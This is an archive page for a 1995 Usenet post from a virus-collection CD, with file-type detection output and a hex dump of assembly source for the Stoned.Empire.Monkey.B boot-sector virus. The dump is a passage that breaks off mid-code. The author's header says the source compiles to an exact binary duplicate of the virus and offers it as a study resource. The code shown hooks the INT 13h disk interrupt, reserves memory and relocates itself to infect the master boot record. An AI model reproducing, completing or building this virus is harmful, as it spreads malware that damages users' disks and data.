home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / monkey_b.asm < prev    next >
Mailbox/MIME Entity  |  2003-06-11  |  11.5 KB
open in: MacOS 8.1     |     Win98     |     DOS

view JSON data     |     view as text

This file was processed as: Mailbox/MIME Entity (archive/mbox).

You can browse this item here: monkey_b.asm

ConfidenceProgramDetectionMatch TypeSupport
100% dexvert Mailbox/MIME Entity (archive/mbox) magic Supported
100% dexvert Internet Message Format (text/imf) magic Supported
100% dexvert Assembly Source File (text/asm) magic Supported
1% dexvert freeCAD assembly (other/freeCADAssembly) ext Unsupported
1% dexvert Text File (text/txt) fallback Supported
100% file Mailbox text, 1st line "From netcom.com!ix.netcom.com!howland.reston.ans.net!europa.eng.gtefsd.com!uhog.mit.edu!bloom-beacon.mit.edu!news.media.mit.edu", ASCII text default
100% TrID E-Mail message (Var. 2) default
100% checkBytes Printable ASCII default
100% perlTextCheck Likely Text (Perl) default
100% siegfried x-fmt/111 Plain Text File default
100% detectItEasy Format: plain text[LF] default (weak)
100% xdgMime application/mbox default


hex view
+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |From net|com.com!|
|00000010| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 21 68 6f |ix.netco|m.com!ho|
|00000020| 77 6c 61 6e 64 2e 72 65 | 73 74 6f 6e 2e 61 6e 73 |wland.re|ston.ans|
|00000030| 2e 6e 65 74 21 65 75 72 | 6f 70 61 2e 65 6e 67 2e |.net!eur|opa.eng.|
|00000040| 67 74 65 66 73 64 2e 63 | 6f 6d 21 75 68 6f 67 2e |gtefsd.c|om!uhog.|
|00000050| 6d 69 74 2e 65 64 75 21 | 62 6c 6f 6f 6d 2d 62 65 |mit.edu!|bloom-be|
|00000060| 61 63 6f 6e 2e 6d 69 74 | 2e 65 64 75 21 6e 65 77 |acon.mit|.edu!new|
|00000070| 73 2e 6d 65 64 69 61 2e | 6d 69 74 2e 65 64 75 21 |s.media.|mit.edu!|
|00000080| 74 6d 6f 6b 2e 72 65 73 | 2e 77 70 69 2e 65 64 75 |tmok.res|.wpi.edu|
|00000090| 21 68 61 6c 66 6c 69 66 | 65 20 53 75 6e 20 4a 61 |!halflif|e Sun Ja|
|000000a0| 6e 20 31 35 20 32 31 3a | 32 38 3a 31 33 20 31 39 |n 15 21:|28:13 19|
|000000b0| 39 35 0a 58 72 65 66 3a | 20 6e 65 74 63 6f 6d 2e |95.Xref:| netcom.|
|000000c0| 63 6f 6d 20 61 6c 74 2e | 63 6f 6d 70 2e 76 69 72 |com alt.|comp.vir|
|000000d0| 75 73 3a 31 30 33 39 0a | 4e 65 77 73 67 72 6f 75 |us:1039.|Newsgrou|
|000000e0| 70 73 3a 20 61 6c 74 2e | 63 6f 6d 70 2e 76 69 72 |ps: alt.|comp.vir|
|000000f0| 75 73 0a 50 61 74 68 3a | 20 6e 65 74 63 6f 6d 2e |us.Path:| netcom.|
|00000100| 63 6f 6d 21 69 78 2e 6e | 65 74 63 6f 6d 2e 63 6f |com!ix.n|etcom.co|
|00000110| 6d 21 68 6f 77 6c 61 6e | 64 2e 72 65 73 74 6f 6e |m!howlan|d.reston|
|00000120| 2e 61 6e 73 2e 6e 65 74 | 21 65 75 72 6f 70 61 2e |.ans.net|!europa.|
|00000130| 65 6e 67 2e 67 74 65 66 | 73 64 2e 63 6f 6d 21 75 |eng.gtef|sd.com!u|
|00000140| 68 6f 67 2e 6d 69 74 2e | 65 64 75 21 62 6c 6f 6f |hog.mit.|edu!bloo|
|00000150| 6d 2d 62 65 61 63 6f 6e | 2e 6d 69 74 2e 65 64 75 |m-beacon|.mit.edu|
|00000160| 21 6e 65 77 73 2e 6d 65 | 64 69 61 2e 6d 69 74 2e |!news.me|dia.mit.|
|00000170| 65 64 75 21 74 6d 6f 6b | 2e 72 65 73 2e 77 70 69 |edu!tmok|.res.wpi|
|00000180| 2e 65 64 75 21 68 61 6c | 66 6c 69 66 65 0a 46 72 |.edu!hal|flife.Fr|
|00000190| 6f 6d 3a 20 68 61 6c 66 | 6c 69 66 65 40 74 6d 6f |om: half|life@tmo|
|000001a0| 6b 2e 72 65 73 2e 77 70 | 69 2e 65 64 75 20 28 48 |k.res.wp|i.edu (H|
|000001b0| 61 6c 66 6c 69 66 65 29 | 0a 53 75 62 6a 65 63 74 |alflife)|.Subject|
|000001c0| 3a 20 6d 6f 6e 6b 65 79 | 2d 62 0a 4d 65 73 73 61 |: monkey|-b.Messa|
|000001d0| 67 65 2d 49 44 3a 20 3c | 68 61 6c 66 6c 69 66 65 |ge-ID: <|halflife|
|000001e0| 2e 37 35 2e 30 30 31 30 | 46 35 33 42 40 74 6d 6f |.75.0010|F53B@tmo|
|000001f0| 6b 2e 72 65 73 2e 77 70 | 69 2e 65 64 75 3e 0a 4c |k.res.wp|i.edu>.L|
|00000200| 69 6e 65 73 3a 20 33 36 | 35 0a 53 65 6e 64 65 72 |ines: 36|5.Sender|
|00000210| 3a 20 6e 65 77 73 40 6e | 65 77 73 2e 6d 65 64 69 |: news@n|ews.medi|
|00000220| 61 2e 6d 69 74 2e 65 64 | 75 20 28 55 53 45 4e 45 |a.mit.ed|u (USENE|
|00000230| 54 20 4e 65 77 73 20 53 | 79 73 74 65 6d 29 0a 4f |T News S|ystem).O|
|00000240| 72 67 61 6e 69 7a 61 74 | 69 6f 6e 3a 20 4d 49 54 |rganizat|ion: MIT|
|00000250| 20 4d 65 64 69 61 20 4c | 61 62 6f 72 61 74 6f 72 | Media L|aborator|
|00000260| 79 0a 58 2d 4e 65 77 73 | 72 65 61 64 65 72 3a 20 |y.X-News|reader: |
|00000270| 54 72 75 6d 70 65 74 20 | 66 6f 72 20 57 69 6e 64 |Trumpet |for Wind|
|00000280| 6f 77 73 20 5b 56 65 72 | 73 69 6f 6e 20 31 2e 30 |ows [Ver|sion 1.0|
|00000290| 20 52 65 76 20 41 5d 0a | 44 61 74 65 3a 20 53 75 | Rev A].|Date: Su|
|000002a0| 6e 2c 20 31 35 20 4a 61 | 6e 20 31 39 39 35 20 32 |n, 15 Ja|n 1995 2|
|000002b0| 31 3a 35 37 3a 32 31 20 | 47 4d 54 0a 4c 69 6e 65 |1:57:21 |GMT.Line|
|000002c0| 73 3a 20 33 36 35 0a 0a | 3b 2a 2a 2a 2a 2a 2a 2a |s: 365..|;*******|
|000002d0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000002e0| 2a 2a 2a 53 74 6f 6e 65 | 64 2e 45 6d 70 69 72 65 |***Stone|d.Empire|
|000002f0| 2e 4d 6f 6e 6b 65 79 2e | 42 0a 3b 54 68 69 73 20 |.Monkey.|B.;This |
|00000300| 77 69 6c 6c 20 63 72 65 | 61 74 65 20 61 20 62 69 |will cre|ate a bi|
|00000310| 6e 61 72 79 20 69 6d 61 | 67 65 20 6f 66 20 4d 6f |nary ima|ge of Mo|
|00000320| 6e 6b 65 79 2e 20 49 74 | 20 63 6f 6d 70 69 6c 65 |nkey. It| compile|
|00000330| 73 20 72 65 61 6c 20 77 | 65 6c 6c 20 77 69 74 68 |s real w|ell with|
|00000340| 20 74 68 65 0a 3b 41 38 | 36 20 63 6f 6d 70 69 6c | the.;A8|6 compil|
|00000350| 65 72 2e 20 49 20 75 73 | 65 64 20 74 68 61 74 20 |er. I us|ed that |
|00000360| 62 65 63 61 75 73 65 20 | 49 20 77 61 73 20 74 72 |because |I was tr|
|00000370| 79 69 6e 67 20 74 6f 20 | 63 72 65 61 74 65 20 73 |ying to |create s|
|00000380| 6f 75 72 63 65 20 74 68 | 61 74 20 77 61 73 0a 3b |ource th|at was.;|
|00000390| 61 73 20 65 71 75 69 76 | 61 6c 65 6e 74 20 74 6f |as equiv|alent to|
|000003a0| 20 74 68 65 20 6f 72 69 | 67 69 6e 61 6c 20 62 69 | the ori|ginal bi|
|000003b0| 6e 61 72 79 20 69 6d 61 | 67 65 20 61 73 20 70 6f |nary ima|ge as po|
|000003c0| 73 73 69 62 6c 65 2e 20 | 57 69 74 68 20 74 68 65 |ssible. |With the|
|000003d0| 20 65 78 63 65 70 74 69 | 6f 6e 0a 3b 6f 66 20 73 | excepti|on.;of s|
|000003e0| 69 78 20 62 79 74 65 73 | 20 74 68 61 74 20 64 69 |ix bytes| that di|
|000003f0| 66 66 65 72 20 64 75 65 | 20 74 6f 20 75 73 69 6e |ffer due| to usin|
|00000400| 67 20 66 75 6e 63 74 69 | 6f 6e 61 6c 6c 79 20 65 |g functi|onally e|
|00000410| 71 75 69 76 61 6c 65 6e | 74 20 6f 70 20 63 6f 64 |quivalen|t op cod|
|00000420| 65 73 2c 0a 3b 53 74 6f | 6e 65 64 2e 45 6d 70 69 |es,.;Sto|ned.Empi|
|00000430| 72 65 2e 4d 6f 6e 6b 65 | 79 2e 42 0a 3b 54 68 69 |re.Monke|y.B.;Thi|
|00000440| 73 20 69 73 20 61 6e 20 | 4d 42 52 20 69 6e 66 65 |s is an |MBR infe|
|00000450| 63 74 65 64 20 77 69 74 | 68 20 74 68 65 20 76 69 |cted wit|h the vi|
|00000460| 72 75 73 2c 20 69 74 20 | 64 6f 65 73 20 6e 6f 74 |rus, it |does not|
|00000470| 20 63 72 65 61 74 65 20 | 61 6e 20 65 78 65 63 75 | create |an execu|
|00000480| 74 61 62 6c 65 20 0a 3b | 66 69 6c 65 2e 20 49 74 |table .;|file. It|
|00000490| 20 68 61 73 20 74 6f 20 | 62 65 20 63 6f 6d 70 69 | has to |be compi|
|000004a0| 6c 65 64 20 61 6e 64 20 | 6d 61 6e 75 61 6c 6c 79 |led and |manually|
|000004b0| 20 6c 6f 61 64 65 64 20 | 74 6f 20 74 68 65 20 4d | loaded |to the M|
|000004c0| 42 52 20 6f 72 20 62 6f | 6f 74 20 73 65 63 74 6f |BR or bo|ot secto|
|000004d0| 72 0a 3b 6f 66 20 61 20 | 66 6c 6f 70 70 79 20 64 |r.;of a |floppy d|
|000004e0| 69 73 6b 65 74 74 65 2e | 20 54 68 69 73 20 69 73 |iskette.| This is|
|000004f0| 20 61 6e 20 65 78 63 65 | 6c 6c 65 6e 74 20 73 74 | an exce|llent st|
|00000500| 75 64 79 20 61 73 20 74 | 6f 20 68 6f 77 20 74 68 |udy as t|o how th|
|00000510| 65 73 65 20 74 79 70 65 | 73 20 0a 3b 6f 66 20 76 |ese type|s .;of v|
|00000520| 69 72 75 73 65 73 2c 20 | 61 6e 64 20 77 69 6c 6c |iruses, |and will|
|00000530| 20 67 69 76 65 20 74 68 | 65 20 72 65 73 65 61 72 | give th|e resear|
|00000540| 63 68 65 72 20 61 6e 20 | 76 65 72 79 20 67 6f 6f |cher an |very goo|
|00000550| 64 20 72 65 73 6f 75 72 | 63 65 20 61 73 20 74 6f |d resour|ce as to|
|00000560| 20 68 6f 77 0a 3b 74 68 | 65 20 69 6e 66 65 63 74 | how.;th|e infect|
|00000570| 69 6f 6e 20 6d 65 63 68 | 61 6e 69 73 6d 20 77 6f |ion mech|anism wo|
|00000580| 72 6b 73 20 61 6e 64 20 | 68 6f 77 20 74 6f 20 70 |rks and |how to p|
|00000590| 72 65 76 65 6e 74 2f 63 | 6c 65 61 6e 20 74 68 69 |revent/c|lean thi|
|000005a0| 73 20 61 6e 64 20 6f 74 | 68 65 72 20 0a 3b 73 69 |s and ot|her .;si|
|000005b0| 6d 69 6c 61 72 20 76 69 | 72 75 73 65 73 2e 20 0a |milar vi|ruses. .|
|000005c0| 3b 74 68 69 73 20 69 73 | 20 61 6e 20 65 78 61 63 |;this is| an exac|
|000005d0| 74 20 64 75 70 6c 69 63 | 61 74 65 20 77 68 65 6e |t duplic|ate when|
|000005e0| 20 63 6f 6d 70 69 6c 65 | 64 20 77 69 74 68 20 41 | compile|d with A|
|000005f0| 38 36 2e 20 49 66 20 61 | 6e 79 6f 6e 65 20 77 61 |86. If a|nyone wa|
|00000600| 6e 74 73 20 74 6f 0a 3b | 63 6f 6d 70 6c 65 74 65 |nts to.;|complete|
|00000610| 20 74 68 65 20 63 6f 6d | 6d 65 6e 74 69 6e 67 2c | the com|menting,|
|00000620| 20 70 6c 65 61 73 65 20 | 66 65 65 6c 20 66 72 65 | please |feel fre|
|00000630| 65 20 61 73 20 49 20 64 | 69 64 20 6e 6f 74 20 75 |e as I d|id not u|
|00000640| 6e 64 65 72 73 74 61 6e | 64 20 73 6f 6d 65 20 6f |nderstan|d some o|
|00000650| 66 20 0a 3b 74 68 69 73 | 20 63 6f 64 65 2e 20 74 |f .;this| code. t|
|00000660| 68 65 20 61 75 74 68 6f | 72 20 61 70 70 61 72 65 |he autho|r appare|
|00000670| 6e 74 6c 79 20 68 61 64 | 20 61 6e 20 65 78 63 65 |ntly had| an exce|
|00000680| 6c 6c 65 6e 74 20 75 6e | 64 65 72 73 74 61 6e 64 |llent un|derstand|
|00000690| 69 6e 67 20 6f 66 20 0a | 3b 74 68 65 20 70 61 72 |ing of .|;the par|
|000006a0| 74 69 74 69 6f 6e 20 6c | 6f 61 64 69 6e 67 20 73 |tition l|oading s|
|000006b0| 74 75 62 20 61 73 20 74 | 68 65 73 65 20 61 72 65 |tub as t|hese are|
|000006c0| 61 73 20 61 72 65 20 72 | 65 61 64 20 64 75 72 69 |as are r|ead duri|
|000006d0| 6e 67 20 74 68 65 20 69 | 6e 73 74 61 6c 6c 61 74 |ng the i|nstallat|
|000006e0| 69 6f 6e 0a 3b 6f 66 20 | 74 68 65 20 76 69 72 75 |ion.;of |the viru|
|000006f0| 73 2e 20 49 66 20 79 6f | 75 20 64 6f 20 61 64 64 |s. If yo|u do add|
|00000700| 20 63 6f 6d 6d 65 6e 74 | 73 2c 20 73 65 6e 64 20 | comment|s, send |
|00000710| 6d 65 20 61 20 63 6f 70 | 79 0a 3b 4c 65 6f 6e 61 |me a cop|y.;Leona|
|00000720| 72 64 20 47 72 61 67 73 | 6f 6e 0a 3b 6c 67 72 61 |rd Grags|on.;lgra|
|00000730| 67 73 6f 6e 40 66 69 6c | 65 73 68 6f 70 2e 63 6f |gson@fil|eshop.co|
|00000740| 6d 0a 3b 59 42 4d 59 39 | 31 41 20 2d 20 50 72 6f |m.;YBMY9|1A - Pro|
|00000750| 64 69 67 79 0a 3b 37 33 | 31 34 31 2c 31 30 33 34 |digy.;73|141,1034|
|00000760| 20 2d 20 43 6f 6d 70 75 | 73 65 72 76 65 0a 3b 0a | - Compu|serve.;.|
|00000770| 20 20 20 20 20 20 20 20 | 6a 6d 70 20 20 20 20 20 |        |jmp     |
|00000780| 73 68 6f 72 74 20 76 69 | 72 75 73 5f 73 74 61 72 |short vi|rus_star|
|00000790| 74 20 20 20 20 20 20 20 | 3b 61 6c 6c 20 6a 6d 70 |t       |;all jmp|
|000007a0| 73 20 61 72 65 20 73 68 | 6f 72 74 0a 20 20 20 20 |s are sh|ort.    |
|000007b0| 20 20 20 20 6e 6f 70 20 | 20 20 20 20 0a 20 20 20 |    nop |    .   |
|000007c0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 73 73 2c |     mov|     ss,|
|000007d0| 20 61 78 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | ax.    |    mov |
|000007e0| 20 20 20 20 73 70 2c 20 | 37 63 30 30 68 0a 20 20 |    sp, |7c00h.  |
|000007f0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 73 69 |      mo|v     si|
|00000800| 2c 20 73 70 0a 20 20 20 | 20 20 20 20 20 70 75 73 |, sp.   |     pus|
|00000810| 68 20 20 20 20 61 78 0a | 20 20 20 20 20 20 20 20 |h    ax.|        |
|00000820| 70 6f 70 20 20 20 20 20 | 65 73 0a 20 20 20 20 20 |pop     |es.     |
|00000830| 20 20 20 70 75 73 68 20 | 20 20 20 61 78 0a 20 20 |   push |   ax.  |
|00000840| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 64 73 |      po|p     ds|
|00000850| 0a 20 20 20 20 20 20 20 | 20 73 74 69 0a 20 20 20 |.       | sti.   |
|00000860| 20 20 20 20 20 63 6c 64 | 0a 20 20 20 20 20 20 20 |     cld|.       |
|00000870| 20 6d 6f 76 20 20 20 20 | 20 64 69 2c 20 30 36 30 | mov    | di, 060|
|00000880| 30 68 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |0h.     |   mov  |
|00000890| 20 20 20 63 78 2c 20 31 | 30 30 68 0a 20 20 20 20 |   cx, 1|00h.    |
|000008a0| 20 20 20 20 72 65 70 6e | 7a 20 20 20 6d 6f 76 73 |    repn|z   movs|
|000008b0| 77 0a 20 20 20 20 20 20 | 20 20 64 62 20 20 20 20 |w.      |  db    |
|000008c0| 20 20 30 65 61 68 2c 20 | 31 64 68 2c 20 36 2c 20 |  0eah, |1dh, 6, |
|000008d0| 30 2c 20 30 20 20 20 20 | 20 0a 20 20 20 20 20 20 |0, 0    | .      |
|000008e0| 20 20 20 20 20 20 20 20 | 20 20 3b 6a 6d 70 20 66 |        |  ;jmp f|
|000008f0| 61 72 20 30 30 30 30 3a | 30 36 31 64 68 0a 20 20 |ar 0000:|061dh.  |
|00000900| 20 20 20 20 20 20 0a 20 | 20 20 20 20 20 20 20 6d |      . |       m|
|00000910| 6f 76 20 20 20 20 20 73 | 69 2c 20 37 62 65 68 0a |ov     s|i, 7beh.|
|00000920| 0a 0a 0a 76 69 72 75 73 | 5f 73 74 61 72 74 3a 0a |...virus|_start:.|
|00000930| 20 20 20 20 20 20 20 63 | 6c 69 20 20 20 20 20 20 |       c|li      |
|00000940| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000950| 3b 6e 6f 20 73 79 73 74 | 65 6d 20 69 6e 74 65 72 |;no syst|em inter|
|00000960| 72 75 70 74 73 0a 20 20 | 20 20 20 20 20 73 75 62 |rupts.  |     sub|
|00000970| 20 20 20 20 20 20 62 78 | 2c 20 62 78 20 20 20 20 |      bx|, bx    |
|00000980| 20 20 20 20 20 20 3b 7a | 65 72 6f 20 62 78 0a 20 |      ;z|ero bx. |
|00000990| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 20 64 |      mo|v      d|
|000009a0| 73 2c 20 62 78 20 20 20 | 20 20 20 20 20 20 20 3b |s, bx   |       ;|
|000009b0| 0a 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |.       |mov     |
|000009c0| 20 73 73 2c 20 62 78 0a | 20 20 20 20 20 20 20 6d | ss, bx.|       m|
|000009d0| 6f 76 20 20 20 20 20 20 | 73 70 2c 20 37 63 30 30 |ov      |sp, 7c00|
|000009e0| 68 20 20 20 20 20 20 20 | 3b 6a 75 73 74 20 62 65 |h       |;just be|
|000009f0| 6c 6f 77 20 62 6f 6f 74 | 20 64 61 74 61 20 61 72 |low boot| data ar|
|00000a00| 65 61 0a 20 20 20 20 20 | 20 20 0a 20 20 20 20 20 |ea.     |  .     |
|00000a10| 20 20 64 62 20 20 20 20 | 20 20 20 30 65 61 68 2c |  db    |   0eah,|
|00000a20| 20 32 66 68 2c 20 30 2c | 20 30 63 30 68 2c 20 37 | 2fh, 0,| 0c0h, 7|
|00000a30| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00000a40| 20 3b 2a 2a 2a 74 68 61 | 74 73 20 61 20 6a 6d 70 | ;***tha|ts a jmp|
|00000a50| 20 66 61 72 20 20 30 37 | 63 30 3a 30 30 32 66 2c | far  07|c0:002f,|
|00000a60| 20 77 68 69 63 68 20 69 | 73 20 6e 65 78 74 20 69 | which i|s next i|
|00000a70| 6e 73 74 72 75 63 74 69 | 6f 6e 0a 20 20 20 20 20 |nstructi|on.     |
|00000a80| 20 20 20 20 20 20 20 20 | 20 20 20 3b 2a 2a 2a 74 |        |   ;***t|
|00000a90| 68 69 73 20 73 65 74 73 | 20 6f 66 66 73 65 74 73 |his sets| offsets|
|00000aa0| 20 74 6f 20 6f 72 67 20 | 30 0a 20 20 20 20 20 20 | to org |0.      |
|00000ab0| 20 0a 20 20 20 20 20 20 | 20 0a 20 20 20 20 20 20 | .      | .      |
|00000ac0| 20 69 6e 74 20 20 20 20 | 20 20 31 32 68 20 20 20 | int    |  12h   |
|00000ad0| 20 20 20 20 20 20 20 20 | 20 20 3b 67 65 74 20 73 |        |  ;get s|
|00000ae0| 79 73 20 6d 65 6d 20 69 | 6e 20 61 78 0a 20 20 20 |ys mem i|n ax.   |
|00000af0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 20 73 69 2c |    mov |     si,|
|00000b00| 20 34 63 68 0a 20 20 20 | 20 20 20 20 70 75 73 68 | 4ch.   |    push|
|00000b10| 20 20 20 20 20 73 69 0a | 20 20 20 20 20 20 20 63 |     si.|       c|
|00000b20| 6d 70 20 20 20 20 20 20 | 62 79 74 65 20 70 74 72 |mp      |byte ptr|
|00000b30| 20 63 73 3a 5b 30 30 66 | 32 68 5d 2c 20 32 20 3b | cs:[00f|2h], 2 ;|
|00000b40| 74 65 73 74 20 66 6f 72 | 20 42 49 4f 53 20 6d 65 |test for| BIOS me|
|00000b50| 6d 20 6c 6f 63 61 74 69 | 6f 6e 0a 20 20 20 20 20 |m locati|on.     |
|00000b60| 20 20 6a 7a 20 20 20 20 | 20 20 20 6e 65 78 74 5f |  jz    |   next_|
|00000b70| 70 74 31 0a 20 20 20 20 | 20 20 20 63 61 6c 6c 20 |pt1.    |   call |
|00000b80| 20 20 20 20 73 68 72 69 | 6e 6b 5f 6d 65 6d 0a 0a |    shri|nk_mem..|
|00000b90| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 20 |       m|ov      |
|00000ba0| 64 69 2c 20 30 31 66 63 | 0a 20 20 20 20 20 20 20 |di, 01fc|.       |
|00000bb0| 6d 6f 76 20 20 20 20 20 | 20 63 78 2c 20 32 0a 20 |mov     | cx, 2. |
|00000bc0| 20 20 20 20 20 20 63 6c | 64 0a 20 20 20 20 20 20 |      cl|d.      |
|00000bd0| 20 72 65 70 7a 20 20 20 | 20 20 6d 6f 76 73 77 20 | repz   |  movsw |
|00000be0| 20 20 20 20 20 20 20 20 | 20 20 3b 6c 6f 61 64 20 |        |  ;load |
|00000bf0| 69 6e 74 31 33 68 20 61 | 64 64 72 65 73 73 20 69 |int13h a|ddress i|
|00000c00| 6e 74 6f 20 76 69 72 75 | 73 20 49 4e 54 20 31 33 |nto viru|s INT 13|
|00000c10| 68 20 68 61 6e 64 6c 65 | 72 0a 20 20 20 20 20 20 |h handle|r.      |
|00000c20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000c30| 20 20 20 20 20 20 20 20 | 20 20 3b 77 68 69 63 68 |        |  ;which|
|00000c40| 20 77 69 6c 6c 20 73 74 | 61 72 74 20 61 74 20 65 | will st|art at e|
|00000c50| 73 3a 30 0a 20 20 20 20 | 20 20 20 6a 6d 70 20 20 |s:0.    |   jmp  |
|00000c60| 20 73 68 6f 72 74 20 20 | 20 6e 65 78 74 5f 70 74 | short  | next_pt|
|00000c70| 32 0a 0a 6e 65 78 74 5f | 70 74 31 3a 0a 20 20 20 |2..next_|pt1:.   |
|00000c80| 20 20 20 20 20 63 61 6c | 6c 20 20 20 20 73 65 74 |     cal|l    set|
|00000c90| 5f 65 73 0a 6e 65 78 74 | 5f 70 74 32 3a 0a 20 20 |_es.next|_pt2:.  |
|00000ca0| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 73 69 |      po|p     si|
|00000cb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000cc0| 20 20 20 20 20 20 3b 70 | 6f 69 6e 74 73 20 74 6f |      ;p|oints to|
|00000cd0| 20 49 4e 54 20 31 33 68 | 20 76 65 63 74 6f 72 20 | INT 13h| vector |
|00000ce0| 65 6e 74 72 79 0a 20 20 | 20 20 20 20 20 20 6d 6f |entry.  |      mo|
|00000cf0| 76 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 5b |v     wo|rd ptr [|
|00000d00| 73 69 5d 2c 20 30 30 37 | 64 68 20 20 20 20 3b 6f |si], 007|dh    ;o|
|00000d10| 66 66 73 65 74 0a 20 20 | 20 20 20 20 20 20 6d 6f |ffset.  |      mo|
|00000d20| 76 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 5b |v     wo|rd ptr [|
|00000d30| 73 69 20 2b 20 32 5d 2c | 20 61 78 20 20 20 3b 61 |si + 2],| ax   ;a|
|00000d40| 78 20 3d 3d 20 65 73 2c | 20 77 68 65 72 65 20 76 |x == es,| where v|
|00000d50| 69 72 75 73 20 68 61 6e | 64 6c 65 72 20 69 73 20 |irus han|dler is |
|00000d60| 67 6f 69 6e 67 0a 0a 20 | 20 20 20 20 20 20 20 70 |going.. |       p|
|00000d70| 75 73 68 20 20 20 20 63 | 73 0a 20 20 20 20 20 20 |ush    c|s.      |
|00000d80| 20 20 70 6f 70 20 20 20 | 20 20 64 73 20 20 20 20 |  pop   |  ds    |
|00000d90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000da0| 20 20 3b 64 73 20 3d 3d | 20 30 20 75 70 20 74 6f |  ;ds ==| 0 up to|
|00000db0| 20 74 68 69 73 20 70 6f | 69 6e 74 0a 20 20 20 20 | this po|int.    |
|00000dc0| 20 20 20 20 63 61 6c 6c | 20 20 20 20 6d 6f 76 5f |    call|    mov_|
|00000dd0| 76 69 72 75 73 20 20 20 | 20 20 20 20 20 20 20 20 |virus   |        |
|00000de0| 20 20 20 20 3b 64 73 20 | 6e 6f 77 20 3d 3d 20 37 |    ;ds |now == 7|
|00000df0| 63 30 68 0a 0a 20 20 20 | 20 20 20 20 20 70 75 73 |c0h..   |     pus|
|00000e00| 68 20 20 20 20 65 73 0a | 20 20 20 20 20 20 20 20 |h    es.|        |
|00000e10| 6d 6f 76 20 20 20 20 20 | 61 78 2c 20 30 30 36 32 |mov     |ax, 0062|
|00000e20| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h       |        |
|00000e30| 3b 66 6f 72 20 72 65 74 | 66 20 74 6f 20 76 69 72 |;for ret|f to vir|
|00000e40| 75 73 0a 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |us.     |   push |
|00000e50| 20 20 20 61 78 20 20 20 | 20 20 20 20 20 20 20 20 |   ax   |        |
|00000e60| 20 20 20 20 20 20 20 20 | 20 20 20 0a 20 20 20 20 |        |   .    |
|00000e70| 20 20 20 20 73 74 69 20 | 20 20 20 20 20 20 20 20 |    sti |        |
|00000e80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000e90| 20 20 20 20 3b 65 6e 61 | 62 6c 65 20 69 6e 74 65 |    ;ena|ble inte|
|00000ea0| 72 72 75 70 74 73 0a 20 | 20 20 20 20 20 20 20 72 |rrupts. |       r|
|00000eb0| 65 74 66 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |etf     |        |
|00000ec0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |        |       ;|
|00000ed0| 74 6f 20 65 73 3a 36 32 | 68 20 2d 3e 20 73 65 65 |to es:62|h -> see|
|00000ee0| 20 6e 65 78 74 20 72 6f | 75 74 69 6e 65 0a 0a 73 | next ro|utine..s|
|00000ef0| 65 74 5f 76 69 72 75 73 | 3a 20 20 20 20 20 20 20 |et_virus|:       |
|00000f00| 20 20 3b 3c 2d 20 74 68 | 69 73 20 69 73 20 6f 66 |  ;<- th|is is of|
|00000f10| 66 73 65 74 20 36 32 68 | 21 20 61 74 20 76 69 72 |fset 62h|! at vir|
|00000f20| 75 73 20 6c 6f 63 61 74 | 69 6f 6e 20 65 73 3a 30 |us locat|ion es:0|
|00000f30| 30 36 32 68 0a 0a 20 20 | 20 20 20 20 20 20 6d 6f |062h..  |      mo|
|00000f40| 76 20 20 20 20 20 65 73 | 2c 20 63 78 20 20 20 20 |v     es|, cx    |
|00000f50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 6c |        |      ;l|
|00000f60| 69 6b 65 20 78 6f 72 20 | 65 73 2c 20 65 73 0a 20 |ike xor |es, es. |
|00000f70| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 62 |       m|ov     b|
|00000f80| 78 2c 20 73 70 20 20 20 | 20 20 20 20 20 20 20 20 |x, sp   |        |
|00000f90| 20 20 20 20 20 20 20 3b | 73 74 69 6c 6c 20 61 74 |       ;|still at|
|00000fa0| 20 37 63 30 30 68 21 0a | 20 20 20 20 20 20 20 20 | 7c00h!.|        |
|00000fb0| 70 75 73 68 20 20 20 20 | 63 78 0a 20 20 20 20 20 |push    |cx.     |
|00000fc0| 20 20 20 70 75 73 68 20 | 20 20 20 62 78 20 20 20 |   push |   bx   |
|00000fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000fe0| 20 20 20 3b 66 6f 72 20 | 72 65 74 75 72 6e 20 74 |   ;for |return t|
|00000ff0| 6f 20 30 30 30 30 3a 37 | 63 30 30 0a 0a 20 20 20 |o 0000:7|c00..   |
|00001000| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 64 78 2c |     mov|     dx,|
|00001010| 20 30 30 38 30 68 20 20 | 20 20 20 20 20 20 20 20 | 0080h  |        |
|00001020| 20 20 20 20 20 3b 63 3a | 20 64 72 69 76 65 2c 20 |     ;c:| drive, |
|00001030| 63 79 6c 20 30 0a 20 20 | 20 20 20 20 20 20 63 61 |cyl 0.  |      ca|
